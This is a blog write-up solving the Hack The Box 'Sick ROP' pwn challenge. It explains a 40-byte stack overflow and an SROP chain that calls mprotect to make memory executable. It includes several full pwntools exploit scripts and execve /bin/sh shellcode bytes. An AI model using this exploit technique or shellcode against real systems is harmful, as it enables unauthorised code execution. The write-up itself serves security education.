Sick ROP : HTB pwn challenge

trustie_rity
7 min readJun 8, 2023

--

Sick ROP is an Easy rated HTB pwn challenge. To be honest its not that easy if you haven’t set your binary exploitation basics right. In this blog i will be writing in detail each step i took in solving this challenge.

On the platform you can download the binary file.

Things to keep in mind

➜  sick_rop file sick_rop
sick_rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
➜ sick_rop ls -alh sick_rop
-rwxr-xr-x 1 trustie trustie 4.8K Aug 14 2020 sick_rop
➜ sick_rop ldd sick_rop
not a dynamic executable
➜ sick_rop checksec sick_rop
[*] '/home/hacker/HTB/challs/pwn/sick_rop/sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • The binary is statically linked therefore it should be pretty large in size as shown its 4.8k bytes.
  • The binary is not stripped therefore all symbols will be in it. This makes the reverse engineering process way easy.
  • The binary is meant to be run on a Unix* machine with a 64 bit architecture.
  • NX being the only mitigation enabled , disallows input written in memory to be executed.

STATIC ANALYSIS

We can open up the binary in ghidra to do some static analysis. You can check my binary exploitation cheat sheet here.

This binary does not have a main function. There are only four functions!

The_start() function calls the vuln() function infinitely

The vuln() function takes in 3 parameters (1)as per ghidra’s de-compilation.It then reads some input (2) and writes it (3)back to us. There is an integer declared using size_t(4) which is basically an unsigned integer type capable of storing values in the range [0, SIZE_MAX] .At this point we can shift our eyes to the assembly code (5) which suggests our buffer maybe 0x20 long but we are reading 0x300 size of input on (6) . Therefore making an educated guess we can say we have a buffer overflow at 40 since 0x20 is 32 in decimal added 8bytes long to accommodate the rbp register value makes it 40.

DYNAMIC ANALYSIS

We can use this script to confirm that our offset is at 40 .Note i am adding a couple of Y characters there keeping in mind canonical addressing rules . The payload in the script is supposed to overflow the rip (instruction pointer register) with character Y ‘s.

#!/usr/bin/python3
# Author : trustie_rity

from pwn import *

elf = ELF('./sick_rop')
if args.R:
p = remote("159.65.54.122",30479)
else:
p = elf.process()
context.clear(arch='amd64')
context.log_level = 'debug'

gdb.attach(p)

payload = "A" * 40
payload += "Y" * 6

p.sendline(payload)

p.interactive()

Now we add executable bits to the script and execute it.

From the screenshot we can see we have overflowed rbp with character A ‘s and character Y is on top of the stack ready to be copied over to the rip register by the return() function.

EXPLOITATION PART

Since we know the vulnerability we can go a step further into trying to determine how we can leverage this bug to our advantage! First we saw NX mitigation is enabled so writing shell code to the stack is a big no here. Lets use a tool called RopGadget . It will allow us to see what gadgets we have , this will give us an idea of how we can build a ropchain.

➜  sick_rop ROPgadget --binary sick_rop
Gadgets information
============================================================
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall

Unique gadgets found: 16

Since the binary is relatively small, there isn’t much gadgets available to us to use. But since we have the syscall gadget we can try a technique i talked about here called SROP.

This technique requires us to have mov eax, 0xf gadget ,but sadly we don’t. On that same blog I show how someone could achieve the work done by the above gadget using the read syscall!

Using that technique I came up with this script:

#!/usr/bin/python3
# Author : trustie_rity

from pwn import *

elf = ELF('./sick_rop')
if args.R:
p = remote("*.*.*.*",30479)
else:
p = elf.process()
#p = remote('localhost',1337)
#gdb.attach(p)
context.clear(arch='amd64')
context.log_level = 'debug'

syscall_ret = 0x401014
read = 0x401000
writable = 0x400000
new_ret = 0x400018
vuln = elf.sym.vuln

payload = b'A'*40 # to our offset
payload += p64(vuln)
payload += p64(syscall_ret)

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0xa # syscall for mprotect()
frame.rdi = writable
frame.rsi = 0x4000
frame.rdx = 0x7 # rwx (read ,write , execute)
frame.rsp = 0x4010d8 # this will be our new stack kind of ie addr 0x400...
frame.rip = syscall_ret

payload += bytes(frame) # fake sigreturnframe

# sending
p.sendline(payload)
p.recv()

payload = b'B'* (0xf - 1 ) # sigret 15 syscall
p.sendline(payload)
p.recv()

I am setting up a fake frame that calls mprotect() with the provided argument to make that section of memory read|writeable|executable. If you don’t understand the code i have explained it in detail in this blog.

Excellent we are able to get the permissions right. Next we need to figure out where to return to! For that i used a gdp wrapper called gdb-peda to find the address that contained the first instruction of vuln function. It is usually best in this cases to use a pointer to an address.

we get the pointer to the first instruction of vuln function. On our fake stack frame we can specify the stack pointer to this address. This will make sure that we return to the function and it will ask for user input again. This time we will send the shellcode then padd it to reach the offset of 40 and add an address that will jump to address where read is storing its input !

 #!/usr/bin/python3
# Author : trustie_rity

from pwn import *

elf = ELF('./sick_rop')
if args.R:
p = remote("159.65.54.122",30479)
else:
p = elf.process()
context.clear(arch='amd64')
context.terminal = ['alacritty', '-e', 'zsh', '-c']
context.log_level = 'debug'

#gdb.attach(p)

syscall_ret = 0x401014
read = 0x401000
writable = 0x400000
new_ret = 0x400018
vuln = elf.sym.vuln

payload = b'A'*40 # to our offset
payload += p64(vuln)
payload += p64(syscall_ret)

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0xa # syscall for mprotect()
frame.rdi = writable
frame.rsi = 0x4000
frame.rdx = 0x7 # rwx (read ,write , execute)
frame.rsp = 0x4010d8 # this will be our new stack kind of ie addr 0x400...
frame.rip = syscall_ret

payload += bytes(frame) # fake sigreturnframe

# sending
p.sendline(payload)
p.recv()

payload = b'B'* (0xf - 1 ) # sigret 15 syscall
p.sendline(payload)
p.recv()
sleep(4)
shell_code = b"start5"
payload = shell_code.ljust(40, b'A')
p.sendline(payload)
p.interactive()

Note the shell_code value and also note i am using sleep(4) so that the scripts hangs for a 4 seconds as we spawn a new terminal shell and attach gdb to this process using this command gdb-peda -p $(pidof sick_rop) -q

This blog will contain how i have configured my gdb. Check it out if you want to configure this wrappers like me!

Now that we have an address to jump to, we can change the shell code value to this from exploit db and after that place the address we want to jump to in this case 0x4010b8 .

The final exploit looks like this:

#!/usr/bin/python3
# Author : trustie_rity

from pwn import *

elf = ELF('./sick_rop')
if args.R:
p = remote("*.*.*.*",30479)
else:
p = elf.process()
context.clear(arch='amd64')
context.log_level = 'debug'

syscall_ret = 0x401014
read = 0x401000
writable = 0x400000
new_ret = 0x400018
vuln = elf.sym.vuln

payload = b'A'*40 # to our offset
payload += p64(vuln)
payload += p64(syscall_ret)

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0xa # syscall for mprotect()
frame.rdi = writable
frame.rsi = 0x4000
frame.rdx = 0x7 # rwx (read ,write , execute)
frame.rsp = 0x4010d8 # this will be our new stack kind of ie addr 0x400...
frame.rip = syscall_ret

payload += bytes(frame) # fake sigreturnframe

# sending
p.sendline(payload)
p.recv()

payload = b'B'* (0xf - 1 ) # sigret 15 syscall
p.sendline(payload)
p.recv()

# shellcode
shell_code = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload = shell_code.ljust(40, b'A')
payload += p64(0x4010b8)
log.info('[*] Sending second stage payload with {} bytes ...'.format(len(payload)))
p.sendline(payload)

p.interactive()

And we get a shell

Follow me for more :)

twitter trustie_rity

--

--